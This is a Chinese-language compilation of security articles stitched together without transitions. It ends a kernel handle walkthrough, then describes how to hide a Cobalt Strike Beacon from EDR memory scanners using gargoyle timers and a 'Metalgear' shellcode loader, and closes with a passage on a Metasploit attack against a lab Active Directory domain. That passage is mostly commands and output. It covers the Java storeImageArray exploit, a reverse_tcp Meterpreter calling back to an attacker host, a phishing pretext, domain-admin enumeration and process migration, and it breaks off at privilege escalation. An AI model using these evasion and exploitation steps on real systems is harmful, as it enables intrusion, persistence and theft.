    // Obtain the HandleValue, just to return it
    tmp = *((NewHandle & 0xFFFFFFFFFFFFF000) + 8)
    tmp1 = NewHandle - (NewHandle & 0xFFFFFFFFFFFFF000) >> 4;
    HandleValue = tmp + tmp1*4;
    // Assign pre-computed values to the handle so it
    // knows to which object points, whick type of object it
    // is and which permissions where granted
    NewHandle->LowValue = LowValue;
    NewHandle->HighValue = HighValue;
}

最后,该函数将返回存储在rsp+48的句柄值。从现在开始直到返回到用户层,一切都与清理机器状态(结构体,单个列表,访问状态等等)有关,当我们最终到达用户层(LdrpFindKnowDll)时,我们将得到一个句柄,并且 STATUS 将为0。

alt img

这个句柄与LoadLibrary在完成所有操作时返回的模块的句柄无关,这只是一个将在“内部”使用的Section对象的句柄。更重要的是,在这一点上,DLL甚至没有被加载到进程的地址空间中,讨论为何发生了这种情况就是我们将在第2部分中所要提到的内容。

结论

正如你所看到的,内核中有很多代码,并不是一切都是直截了当的,我敢说事情非常复杂。但请记住,这已经算是简单的东西了,因为我们将进入更为复杂的东西😀😀之中。另一方面,我在文中留下了大量的代码,结构体,列表等……没有作评论也没有提及所以请不要因此而怼我,我只是试着总结了一下我认为最重要的东西。当然,如果你有任何疑问或问题,或者我写的有什么不对的地方,你想要怼我,请不要犹豫,直接与我取得联系吧。

本文将主要介绍我在Cobalt Strike的Beacon有效载荷和gargoyle内存扫描规避技术绕过杀软的内存扫描方面的研究。并且会提供一个使用gargoyle在计时器上执行Cobalt Strike Beacon有效载荷的概念验证(PoC)。这个PoC背后的假设是使用内存扫描技术来对抗终端检测与响应解决方案(EDR),这些扫描技术以规则的时间间隔发生,并且不会在非可执行内存上发出警报(也可能是因为我们触发的警报淹没在了大量密集的警报中)。通过“跳入”内存和“跳出”内存的方式,实现了避免在扫描器运行时将有效载荷驻留在内存中,然后在安全扫描完成后将其再次重新放入内存中的攻击目标。

这篇文章的内容假设读者熟悉 gargoyle 内存扫描规避技术以及Matt Graeber 提出的使用 C 语言编写优化的 Windows shellcode 的技术

简介

现在的很多企业越来越多地选择采用复杂的终端检测与响应解决方案(EDR),专门用于在整个企业中大规模检测高级恶意软件。常见的这种解决方案包括Carbon Black,Crowdstrike’s Falcon,ENDGAME,Cyber Reason,Countercept,Cylance和FireEye HX。[1] 我们在进行有针对性的攻击模拟时所面临的挑战之一就是我们需要经常在运行了某种类型的EDR解决方案的主机上获得立足点。因此,在渗透测试中,至关重要的是,我们能够绕过任何先进的检测功能以保持攻击行为的隐藏状态。

许多EDR解决方案都具有强大的功能,可以有效地检测受感染主机上的可疑行为,例如:

1.内存扫描技术,例如寻找反射加载的DLL,注入线程[2]和 inline/IAT/EAT HOOK[3]

2..实时系统跟踪,例如进程执行,文件写入和注册表活动

3.命令行记录和分析

4.网络追踪

5.常见的跨进程访问技术,例如监视CreateRemoteThread,WriteProcessMemory和VirtualAllocEx

有许多恶意软件系列和常见的攻击框架都利用了典型的代码注入技术,例如使用反射加载DLL和线程注入,这种攻击技术可以通过在整个企业中大规模使用内存扫描和异常检测技术进行检测(请参阅 https://www.countercept.com/our-thinking/advanced-attack-detection/ 和 https://www.endgame.com/blog/technical-blog/hunting-memory ,了解有关此类技术的更多信息)。

因此,许多攻击者为了隐藏痕迹而对他们的工具进行了很多更改,他们特别关注绕过内存扫描的技术。例如,Raphael Mudge的Cobalt Strike 为“内存中的威胁仿真” 引入了许多 新功能,如下:

1.支持反射加载的DLL修改内存权限(而不是仅将内存页设置为RWX)

2.清除反射加载的DLL的初始内存分配

3.模块化 ‘stomping’ 实现绕过注入线程的安全扫描程序,以便Beacon可以从DLL的合法TEXT节运行

此外,其他安全研究人员已经研究了通过“代码洞穴”(code caves)或使用SetThreadContext等技术绕过注入线程的安全扫描程序。尤其要说的是,@xpn发表的关于‘Evading Get-InjectedThread ‘ 的优秀博文。

这些绕过方法基本上都是专注于让已经隐藏在内存中的有效载荷更难以被杀软检测到。然而,另一种可能的方法是针对内存扫描检测技术本身的固有缺陷。例如,内存扫描可能是性能密集型和误报严重的一种检测手法,这意味着这种检测技术在数千个终端上进行扩展时,效果不佳。因此,许多供应商将专注于监控特定的进程(例如通常会有针对性的对常见的Windows进程进行监控),可疑的可执行内存区域(即RWX内存页)和固定时间间隔的扫描(在更密集的扫描技术中,每十五分钟到一天一次的扫描间隔可能会有所不同。在这里可以将内存与磁盘进行比较)。[4]

因此,如果攻击者可以在非可执行内存区域中隐藏有效载荷并且在没有进行内存扫描的情况下以特定间隔触发有效载荷的执行,那么就可以绕过针对内存扫描的检测技术。例如,gargoyle内存扫描规避技术使用Windows计时器和特殊构造的代码以及rop代码来避免杀软检测到任何可疑的可执行内存。然而,除了能弹个消息框之外,gargoyle PoC似乎做不了什么 —— 那么我们可以用它来执行Cobalt Strike 的Beacon有效载荷吗?

gargoyle

Gargoyle是一种用于绕过Josh Lospinoso内存扫描器的PoC技术。它能够使攻击者以特定的时间间隔“唤醒”之前的活动,并将有效载荷隐藏在非可执行内存中,然后将自身标记为可执行内存来执行某些操作。要实现这个 gargoyle 需要执行以下步骤:

1.创建一个Windows Waitable Timer 对象,该对象在指定的时间间隔后执行对用户定义函数(通过’pfnCompletionRoutine’参数提供)的回调。SetWaitableTimer 函数还使得用户能够提供一个“lpArgToCompletionRoutine”参数,这个参数可以通过堆栈传递到指定的回调函数。

2.在这种情况下,’pfnCompletionRoutine’参数指向位于mshtml.dll中的特制ROP代码(’pop *; pop esp; ret’),’lpArgToCompletionRoutine’参数是指向攻击者控制的堆栈的指针。

3.Gargoyle 执行任意代码,然后将其自身设置为不可执行的内存(通过VirtualProtectEx)并返回执行到’WaitForSingleObjectEx’,这个函数会一直等待直到触发计时器。

4.当达到了计时器的执行时间时,Waitable Timer对象将通过异步过程调用(APC)执行特制的ROP代码。

5.ROP代码会通过’lpArgToCompletionRoutine’参数提供的值弹出到esp中并切换堆栈。

6.特殊堆栈包含了一个指向VirtualProtectEx的指针(和参数),这会导致对VirtualProtectEx的返回调用,然后将有效载荷区域标记为可执行的内存。

7.最后Gargoyle会返回到有效载荷的开头部分并再次开始执行。

方法

通过gargoyle PoC在计时器上执行有效载荷的方法需要以下两个关键步骤:

1.开发一种技术来检索和暂存有效载荷,跟踪其内存中的配置文件(即原始分配的内存地址,反射加载的分配内存以及任何后续启动的线程),然后在指定的时间段之后从内存中取消映射。

2.以上面描述的方式实现这种技术,就可以将其集成到现有的gargoyle PoC中。由于gargoyle PoC使用的有效载荷是用汇编语言编写的(请参阅主git存储库中的‘setup.nasm’),所以,我们采用的方法是先用C语言编写代码然后将其编译为位置无关代码(PIC),然后替换掉当前代码中弹消息框的gargoyle有效载荷。之所以这么做是因为第一步生成的代码的复杂性和重复(和独立)测试代码的需要以及实现用高级语言而不是汇编语言编写所有内容的想法。

第一步:暂存/删除Beacon有效载荷

下面的技术是实现该方法的第一步:

1.将Beacon有效载荷以“READ_ONLY”属性写入内存。这种方法避免了通过网络持续不断的检索有效载荷。

2.在只读内存中找到“隐藏”的Beacon有效载荷,为其分配新内存,然后将其复制到新内存中,并在反射DLL的开头创建一个新线程。作为反射加载过程的一部分,随后分配另一个“RWX”内存区域。

3.保留对原始分配的引用。

4.通过内存扫描找到反射加载的内存分配。

5.通过线程扫描查找由Beacon启动的可疑线程(Windows内核将在原始内存分配时记录此线程的起始地址)。

6.用指定的时间周期执行Sleep。

7.终止属于Beacon的线程。

8.从内存中取消原始分配内存和反射加载分配内存的映射。

这种技术有许多局限性。首先,内存或线程扫描效率不高。但是,由于我们没有控制Beacon用于反射加载过程的bootstrapping shellcode或导出的反射加载器函数 ,因此我们无法轻易获得从VirtualAlloc的附加调用返回的指针。所以,我们并不知道beacon在编译时将自身加载到了内存中,也就不能轻易获得其主线程的句柄。

其次,TerminateThread WINAPI的调用存在着风险,一般来说要尽可能的避免这种风险。微软建议只有在调用者确切知道目标线程正在做什么时才可以使用TerminateThread,在这种情况下我们是不知道的。在此研究期间,我了解了请求线程退出的不同方法,但发现只有TerminateThread才能工作而不会导致崩溃。然而,虽然这适用于此PoC,但尚未经过全面的测试,可能会导致无法预料的问题。更好的方法可能是连接到beacon的命名管道并发送exit命令指示它正常终止。

第二步:与 Gargoyle PoC 的集成

下一步是在计时器上插入我们的代码用于暂存/移除Beacon并作为gargoyle的主要有效载荷。这需要完成以下两个阶段:

1.使用 Matt Graeber 提出的技术用C语言编写优化的 Windows shellcode创建在第一阶段所描述的位置无关代码(PIC)版本,下文中将称其为“Metalgear”。位置无关的有效载荷包含与上述技术相同的逻辑,但它是通过遍历已加载模块的链接列表并将每个函数与预先计算的散列进行比较来解析Windows API函数。应该强调的是,这种做法是低效的,因为它需要在每次执行代码时解析函数指针,而gargoyle允许我们通过 ‘SetupConfiguration’结构 传递函数指针 。[5] 但是,出于初始化 PoC 的目的(并且如“方法”章节部分所述),单独编写和测试 Metalgear PIC 更有效,更简单。

2.将 Metalgear 插入到用于接收 ROP 或 堆栈Trampoline 的 gargoyle 代码(‘setup.nasm’)中并替换弹消息框的原始有效载荷。在构建过程中,gargoyle 将’setup.nasm’编译为shellcode,然后将编译的有效载荷(’setup.pic’)写入内存,并作为 PoC 的一部分。因此,此文件包括设置 WaitableTimer 对象的所有逻辑、弹出消息框并设置WaitForSingleObject和VirtualProtectEx的尾调用(函数式编程术语)。因此,通过使用 IDA 或 WinDbg ,我们就可以分割已编译的’setup.pic’有效载荷,删除弹出消息框的默认调用并替换为我们构造的 Metalgear PIC代码。

这个阶段有两个非常重要的点。首先,由于我们基本上将不同字节位的shellcode混合在了一起,所以我们需要确保Metalgear在完成运行后可以恢复完全相同的执行状态。这是必需要做的,这样它就不会破坏特制的堆栈并导致gargoyle的尾部调用失败。当尝试通过代码洞穴(code cave)(例如通过’SuspendThread / GetThreadContext / threadContext.Eip -> 代码洞穴’机制)在远程进程中插入线程时也要注意同类问题。[6]

因此,我们可以采用类似的解决方案并使用PUSHAD/PUSHFD指令将寄存器的标志和eflags PUSH到堆栈中,从而在对 Metalgear PIC执行“上下文切换”之前保存寄存器的状态。一旦 Metalgear 完成执行(并确保已正确清除堆栈),我们就可以使用 POPAD/POPFD 指令将 gargoyle 恢复到其原始执行状态。下面的伪代码块演示了这种方法,并显示了修改后的包含 Metalgear 有效载荷的“setup.nasm”:

; Replace the return address on our trampoline
reset_trampoline:
mov ecx, [ebx+ Configuration.VirtualProtectEx]
mov [ebx+ Configuration.trampoline], ecx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;; Arbitrary code goes here. Note that the
;;;; default stack is pretty small (65k).
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Execute Metalgear
pushad
pushfd
Metalgear PIC
popfd
popad
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;Time to setup tail calls to go down
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

其次,在这种情况下编译的Metalgear PIC是一个单独的代码块,由一个函数进行处理,该函数用于将WINAPI函数的哈希解析为函数指针(’GetProcAddressWithHash‘)。但是,在默认情况下,Metalgear PIC一旦完成执行就会崩溃,除非它被引导到gargoyle的尾部调用。可以通过两种方式避免这种崩溃,可以通过在执行完成后向gargoyle的尾部调用中添加一个 go/relative jmp(通过内联asm),也可以通过内联任何函数调用来实现。

演示

以下屏幕截图展示了 Metalgear PoC 的实际应用。下图所示的是 gargoyle 正在受害者主机上运行,但目前正处于 “Sleep” 状态。下图中高亮的部分显示了 gargoyle 有效载荷存储在内存地址是0x00BE0000 的内存中:

 image.png

我们可以使用SysInternals工具包的VMMap来检查程序内存的状态。下面的屏幕截图显示了存储有效载荷的内存区域(0x00BE0000)被标记为不可执行:

 image.png

此外,在进程中没有运行可疑的注入线程:

 image.png

当达到计时器的时间周期时,APC将被执行,并且gargoyle将自己标记为可执行内存。然后它将继续运行Metalgear,之后将Beacon注入内存,并为我们提供一个shell:

 image.png

下面的屏幕截图显示了在0x00BE0000处的原始有效载荷的内存页权限被更改为RWX:

 image.png

此外,我们现在可以识别到一个注入的线程和两个可疑的RWX内存区域(0x02FE0000和0x03090000),它们都属于注入的Beacon有效载荷(256K和268K区域):

 image.png

可以使用下面的进程浏览器观察注入的线程(可通过起始地址’0x0’识别):

 image.png

如果此时触发了内存安全扫描,则可能会标记一个可疑线程和两个反射加载的DLL(分别对应于原始分配的内存区域以及由反射加载进程随后将有效载荷“复制”到的另一个可疑的内存区域)。应该强调的是,这里使用的是Cobalt Strike的默认配置,而没有使用最近新出现的任何内存中规避技术。

在指定的时间之后,Metalgear将继续终止属于Beacon的线程并取消映射RWX内存区域,然后返回到gargoyle尾部并将其自身设置为只读。然后它将等待下一次触发定时器并重新启动 Beacon。之后这个过程会无限期地重复执行。

下面的视频演示了在实际场景中使用的技术:

视频地址(需翻墙)

该视频以 gargoyle 处于“睡眠”状态开始。然后演示了我们的 gargoyle 有效载荷当前是不可执行的,并且没有可疑线程或内存指示符。此时,唯一的内存驻留物是与 gargoyle 相关联的非可执行区域和不可执行的且“隐藏”的 Beacon 有效载荷。在这个 PoC 中,没有对隐藏的 Beacon 有效载荷应用混淆或加密技术,不过添加这些东西也是非常简单的。

当计时器被触发时,gargoyle 将自己设置为可执行的内存并运行 Metalgear,后者继续将 beacon 注入内存,为我们提供shell。我们现在可以识别到两个 RWX 区域和一个与 Beacon 对应的可疑线程。(对于这个演示,Beacon 在终止之前的活动时间为一分钟。这纯粹是为了演示技术,计时器可以被配置为任意时间周期,例如可以设置为15分钟的活动时间,30分钟的睡眠时间)。

一分钟的活动时间结束后,Metalgear 会结束 beacon 并将自己置于不可执行的状态。任何可疑的特征(包括注入的线程和RWX内存)现在均已消失。在下一次触发定时器时,Metalgear 将在暂存 Beacon 之前会再次隐藏在只读内存中。

限制

由于本文提出的技术的实验性质,因此,本文中给出的 PoC 受到许多限制:

1.由于 Beacon 在每次迭代时都会被终止,因此必须每次重新创建新的会话,这将使得在实际的渗透测试中难以使用。

2.在 Metalgear 中使用线程和内存扫描不是最佳的解决方案。

3.一旦我们运行后,我们就没有考虑过内存配置文件。因此,许多使用可疑特征进行实时跟踪的EDR 解决方案,例如通过异常线程创建和动态内存分配的手段,仍然可以发现 Beacon 有效载荷。

4.由于 Beacon 的设计并没有考虑本文所描述的这种情况,因此终止/暂停会影响漏洞利用阶段的工作。

理想情况下,在每次调用时,我们都希望模拟Beacon的‘check-in’,因为它可以获取新的命令,执行完命令并立即返回到休眠状态。在此设置中,我们的内存配置文件仅仅反映了网络上Beacon的延迟。因此,另一种可能的方法是暂停与Beacon相关联的线程,并将与反射加载的Beacon有效载荷相关联的内存权限改变为READ_ONLY。但是,这意味着线程将始终存在,并且需要使用另一种技术(例如使用ROP代码或SetThreadContext)来隐藏此线程的起始位置,使其看起来好像属于一个合法映射的DLL。

参考

[1] Hexacorn维护了最新的EDR解决方案及其各自的功能列表(http://www.hexacorn.com/blog/2016/08/06/endpoint-detection-and-response-edr-solutions-sheet/

[2] Jared Atkinson实现的Get-InjectedThread:https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2

[3] 有关此类技术的更多信息,请参阅Countercept的“内存分析”白皮书:https://www.countercept.com/our-thinking/memory-analysis-whitepaper/

[4] 此外,许多EDR解决方案使用可疑特征进行实时跟踪,例如本地/远程线程创建和动态内存分配,但是在本博文中对这类技术的关注较少。

[5] 此外,用于Metalgear的大多数API调用都位于kernel32.dll中,后者在每个进程中用相同的地址加载到了内存中,因此也可能使用硬编码的RVA。

[6] 有关此类线程劫持技术的更多信息,请参阅Nick Cano的代码:https://github.com/GameHackingBook/GameHackingCode/blob/master/Chapter7_CodeInjection/main-codeInjection.cpp

本文的主要目的是为了说明使用最新的安全补丁保持系统最新的重要性尤其要说明的是,这篇文章将讨论关于企业Windows环境中的安全性。

活动目录

通常,在Windows系统数量较为离散的公司中,一般会使用名为Active Directory的系统来设置域。基本上,它实现了许多进程和服务,这些进程和服务简化了域网络内的Windows用户帐户的管理,可以集中处理这些事务。

 

运行Active Directory域服务的服务器的名称叫作域控制器(DC):通过配置域控,可以定义应用于属于该域的用户和计算机的规则和策略。
具有域管理员权限的帐户属于Domain Admin组:它对注册到域的所有计算机具有管理员权限,即使在DC上也是如此。一旦你拥有了该域的管理员权限,你基本上可以做你想做的一切这就是为什么只设置一组受限制的授权帐户(真正需要特权的账户)拥有这些权限的方式来保护域是非常重要的。

关于域控制器安全性的另一个重要方面是,虽然本地用户的密码存储在已定义的计算机内,但域用户的密码存储在DC中。

虚拟实验室

为了模拟对域的攻击,我们可以设置Active Directory虚拟实验室环境,其中Windows Server 2012 R2充当域控制器,Windows 7 SP1 64位是一台会模拟注册到域的办公网工作站主机。
Windows 7计算机上安装了老版本的Java Runtime Environment Java 6 Update 23,它受到一系列远程执行代码(RCE)漏洞的影响。此外,操作系统没有打MS15-051漏洞的安全补丁,这个漏洞可以用于本地特权升级。

攻击者将默认使用Kali Linux发行版中有名的Metasploit Framework作为攻击工具。在进行了初始的信息收集之后,攻击者在客户端主机上发现安装了Java 6u23,之后开始发起攻击。

我们可以从启动PostgreSQL服务作为开始,以便使用Metasploit数据库:

[email protected]:~# service postgresql start

然后我们可以启动Metasploit控制台:

[email protected]:~# msfconsole -q
msf >

Java客户端漏洞利用

在影响Java 6u23的所有漏洞中,我们可以使用Java的 storeImageArray()无效的数组索引漏洞。通过info命令,我们可以查看大量有关于这个漏洞的有用信息的描述,例如受影响的平台列表,可靠性排名,漏洞披露日期,模块作者,常见漏洞和暴露(CVE)标识符,当然还有我们需要设置运行漏洞利用的选项:

msf > use exploit/multi/browser/java_storeimagearray 
msf exploit(java_storeimagearray) > info
       Name: Java storeImageArray() Invalid Array Indexing Vulnerability
     Module: exploit/multi/browser/java_storeimagearray
   Platform: Java, Linux, Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-08-12
Provided by:
  Unknown
  sinn3r <[email protected]>
  juan vazquez <[email protected]>
Available targets:
  Id  Name
  --  ----
  0   Generic (Java Payload)
  1   Windows Universal
  2   Linux x86
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
Payload information:
  Space: 20480
  Avoid: 0 characters
Description:
  This module abuses an Invalid Array Indexing Vulnerability on the 
  static function storeImageArray() function in order to cause a 
  memory corruption and escape the Java Sandbox. The vulnerability 
  affects Java version 7u21 and earlier. The module, which doesn't 
  bypass click2play, has been tested successfully on Java 7u21 on 
  Windows and Linux systems.
References:
  http://cvedetails.com/cve/2013-2465/
  http://www.osvdb.org/96269
  https://www.exploit-db.com/exploits/27526
  https://packetstormsecurity.com/files/122777
  http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040

对于这种漏洞的利用,攻击者需要在网络服务器上挂一个嵌入了恶意代码的网页,因此,当受害者访问网址时,它恶意代码就会执行。

查看漏洞利用模块的选项,我们必须指定TARGET的操作系统类型,即Windows,以及恶意网页的URL地址的URIPATH
此外,我们需要设置PAYLOAD类型,指定我们可以执行的程序,这要归功于RCE漏洞:选择Meterpreter有效载荷是一个好主意,因为它提供了大量的功能来控制远程主机此外,我们选择它来设置反向tcp连接来绕过防火墙保护:reverse_tcp Meterpreter

另一个比较好的有效载荷reverse_http(s),在有高度安全防护的环境中更好用:事实上,这个stager提供了一个基于数据包的传输系统,而不是基于流的通信模型(如果你想了解更多信息,请参阅本文末尾的参考资料。当然它也支持我们在这里所使用的reverse_tcp的相同功能。)

一旦确定了有效载荷,我们就可以设置我们希望受害者机器连接回的IP地址(LHOST)和端口(LPORT)(在本例中是我们使用的主机):

msf exploit(java_storeimagearray) > set target 1
target => 1
msf exploit(java_storeimagearray) > set uripath /
uripath => /
msf exploit(java_storeimagearray) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(java_storeimagearray) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(java_storeimagearray) > set lport 443
lport => 443
msf exploit(java_storeimagearray) > show options 
Module options (exploit/multi/browser/java_storeimagearray):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /                no        The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.10     yes       The listen address
   LPORT     443              yes       The listen port
Exploit target:
   Id  Name
   --  ----
   1   Windows Universal

通过正确配置所有内容,我们可以将该漏洞利用作为后台作业运行。

msf exploit(java_storeimagearray) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.10:443 
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.10:8080/
[*] Server started.

社会工程学

通常,攻击者通过使用社会工程学技术欺骗受害者打开链接:例如,攻击者可能通过冒充公司的IT安全团队并邀请用户访问网址来下载重要的安全补丁的方式向目标员工发送电子邮件:

 

因此,当受害者访问网页时,Java漏洞就会触发执行,攻击者会获得shell,即受害者计算机上的会话:

[*] Sending HTML...
[*] Sending .jar file...
[*] Sending .jar file...
 
[*] Sending stage (957999 bytes) to 192.168.1.208
[*] Meterpreter session 1 opened (192.168.1.10:443 -> 192.168.1.208:49163) at 2016-11-16 20:29:32 +0200

然后我们可以通过检查活动会话来验证shell连接:

msf exploit(java_storeimagearray) > sessions -l
Active sessions
===============
  Id  Type                   Information                Connection
  --  ----                   -----------                ----------
  1   meterpreter x86/win32  NET\testuser1 @ WIN7SP164  192.168.1.10:443 -> 192.168.1.208:49163 (192.168.1.208)

我们在IP地址为192.168.1.10的攻击者机器和IP地址为192.168.1.208的受害者机器之间建立了连接此连接从受害者计算机开始,并使用端口443连接到攻击者的主机。此端口不是随机选择的:因为这种类型的连接看起来没那么可疑,因为它模仿了普通的SSL会话,就像用户通过HTTPS访问网页一样。

请注意,此漏洞利用程序在Internet Explorer(本文的测试环境是IE8)和Mozilla Firefox(当然Java插件必须处于启用状态)上都有效。

后期漏洞利用

启动交互shell后,我们会自然的想到要获取系统信息,如系统架构,域名称,用户ID;执行 sysinfo命令可以得到我们所需要的信息:

msf exploit(java_storeimagearray) > sessions -i 1 
[*] Starting interaction with 1...
meterpreter > sysinfo 
Computer        : WIN7SP164
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Domain          : NET
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > getuid 
Server username: NET\testuser1

从上面的结果中,我们可以看到我们控制了一台Windows 7的主机,并且meterpreter 是在由注册到NET域的用户“testuser1”所拥有的进程内运行。

另一个有趣的信息是,受害者主机是64位的系统架构,而meterpreterx86的,即它运行在了32位的进程上:这意味着我们必须迁移到一个64位的进程才能正确使用meterpreter

在此之前,我们可以使用Metasploit后期漏洞利用模块收集其他信息。例如,了解当前用户拥有的特权类型会对渗透测试很有用,例如查看在本地管理员组中的用户:

meterpreter > background 
[*] Backgrounding session 1...
msf post(java_storeimagearray) > use post/windows/gather/win_privs 
msf post(win_privs) > info
       Name: Windows Gather Privileges Enumeration
     Module: post/windows/gather/win_privs
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  Merlyn Cousins <[email protected]>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
Description:
  This module will print if UAC is enabled, and if the current account 
  is ADMIN enabled. It will also print UID, foreground SESSION ID, is 
  SYSTEM status and current process PRIVILEGES.
msf post(win_privs) > set session 1
session => 1
msf post(win_privs) > show options 
Module options (post/windows/gather/win_privs):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.
msf post(win_privs) > exploit 
Current User
============
 Is Admin  Is System  Is In Local Admin Group  UAC Enabled  Foreground ID  UID
 --------  ---------  -----------------------  -----------  -------------  ---
 False     False      False                    True         2              "NET\\testuser1"
Windows Privileges
==================
 Name
 ----
 SeChangeNotifyPrivilege
 SeShutdownPrivilege
 SeUndockPrivilege
[*] Post module execution completed

从上面的结果中可以看出,该用户没有管理员权限,这对攻击者来说是个坏消息:实际上,主机防御中一个好的安全措施是为公司老板的主机设置策略,使他们在自己的机器上没有本地管理权限(当然在随后我们将看到该主机应用了一些安全补丁)。

另一个聪明的做法可能是获取域控制器的IP地址:

msf post(win_privs) > use post/windows/gather/enum_domain
msf post(enum_domain) > info
       Name: Windows Gather Enumerate Domain
     Module: post/windows/gather/enum_domain
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  Joshua Abraham <[email protected]>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION  1                yes       The session to run this module on.
Description:
  This module identifies the primary domain via the registry. The 
  registry value used is: 
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group 
  Policy\History\DCName.
msf post(enum_domain) > set session 1
session => 1
msf post(enum_domain) > exploit 
[+] FOUND Domain: net
[+] FOUND Domain Controller: DC (IP: 192.168.1.200)
[*] Post module execution completed

枚举域管理员帐户肯定是一个好主意,因为他们的特权对攻击者来说是感兴趣的目标:

msf exploit(enum_domain) > use post/windows/gather/enum_domain_group_users 
msf post(enum_domain_group_users) > info
       Name: Windows Gather Enumerate Domain Group
     Module: post/windows/gather/enum_domain_group_users
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  Carlos Perez <[email protected]>
  Stephen Haywood <[email protected]>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  GROUP                     yes       Domain Group to enumerate
  SESSION                   yes       The session to run this module on.
Description:
  This module extracts user accounts from specified group and stores 
  the results in the loot. It will also verify if session account is 
  in the group. Data is stored in loot in a format that is compatible 
  with the token_hunter plugin. This module should be run over as 
  session with domain credentials.
msf post(enum_domain_group_users) > set group "domain admins"
group => domain admins
msf post(enum_domain_group_users) > set session 1 
session => 1
msf post(enum_domain_group_users) > exploit 
[*] Running module against WIN7SP164
[*] Found users in domain admins
[*] NET\boss
[*] Current session running as NET\testuser1 is not a member of domain admins
[*] User list stored in /root/.msf4/loot/20160906195451_default_192.168.1.208_domain.group.mem_774905.txt
[*] Post module execution completed

结果告诉我们,我们只有一个Domain Admin用户:“boss”。请记住此帐户,因为后面会用到。

请记住,我们也可以通过将meterpreter会话切换到Windows命令行的shell来收集这些信息:例如,要查找Domain Admins用户组的列表可以执行命令net groups "domain admins" /domain

回到32/64位架构的主题,我们需要将meterpreter迁移到64位进程:为此,我们可以列出机器上运行的所有进程并选择一个64位的进程:

meterpreter > ps
Process List
============
 PID   PPID  Name               Arch  Session  User           Path
 ---   ----  ----               ----  -------  ----           ----
 0     0     [System Process]                                 
 4     0     System                                           
 252   4     smss.exe                                         
 280   488   svchost.exe                                      
 336   320   csrss.exe                                        
 388   320   wininit.exe                                      
 396   380   csrss.exe                                        
 432   380   winlogon.exe                                     
 488   388   services.exe                                     
 504   388   lsass.exe                                        
 512   388   lsm.exe                                          
 620   488   svchost.exe                                      
 680   488   vmacthlp.exe                                     
 724   488   svchost.exe                                      
 812   488   svchost.exe                                      
 848   488   svchost.exe                                      
 860   488   taskhost.exe       x64   1        NET\testuser1  C:\Windows\System32\taskhost.exe
 872   488   svchost.exe                                      
 928   488   svchost.exe                                      
 1116  488   wmpnetwk.exe                                     
 1152  488   spoolsv.exe                                      
 1188  488   svchost.exe                                      
 1248  488   msdtc.exe                                        
 1308  488   svchost.exe                                      
 1368  488   VGAuthService.exe                                
 1476  488   vmtoolsd.exe                                     
 1532  848   dwm.exe            x64   1        NET\testuser1  C:\Windows\System32\dwm.exe
 1656  488   svchost.exe                                      
 1700  1708  vmtoolsd.exe       x64   1        NET\testuser1  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1708  1664  explorer.exe       x64   1        NET\testuser1  C:\Windows\explorer.exe
 1828  620   WmiPrvSE.exe                                     
 1908  488   dllhost.exe                                      
 1992  156   gEcLfOyZ.exe       x86   1        NET\testuser1  C:\Users\testuser1\AppData\Local\Temp\~spawn4804236038822370445.tmp.dir\gEcLfOyZ.exe
 2188  620   WmiPrvSE.exe                                     
 2376  488   svchost.exe                                      
 2740  488   SearchIndexer.exe 
请注意PID 1992的进程与位于Temp目录中的“.exe”有效载荷文件相关联:这个就是当前运行的meterpreter的进程。通常,迁移到“explorer.exe”是一个不错的选择,因此我们使用其PID作为migrate命令的参数:
meterpreter > migrate 1708
[*] Migrating from 1992 to 1708...
[*] Migration completed successfully.
meterpreter > sysinfo 
Computer        : WIN7SP164
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : NET
Logged On Users : 2
Meterpreter     : x64/win64

特权升级

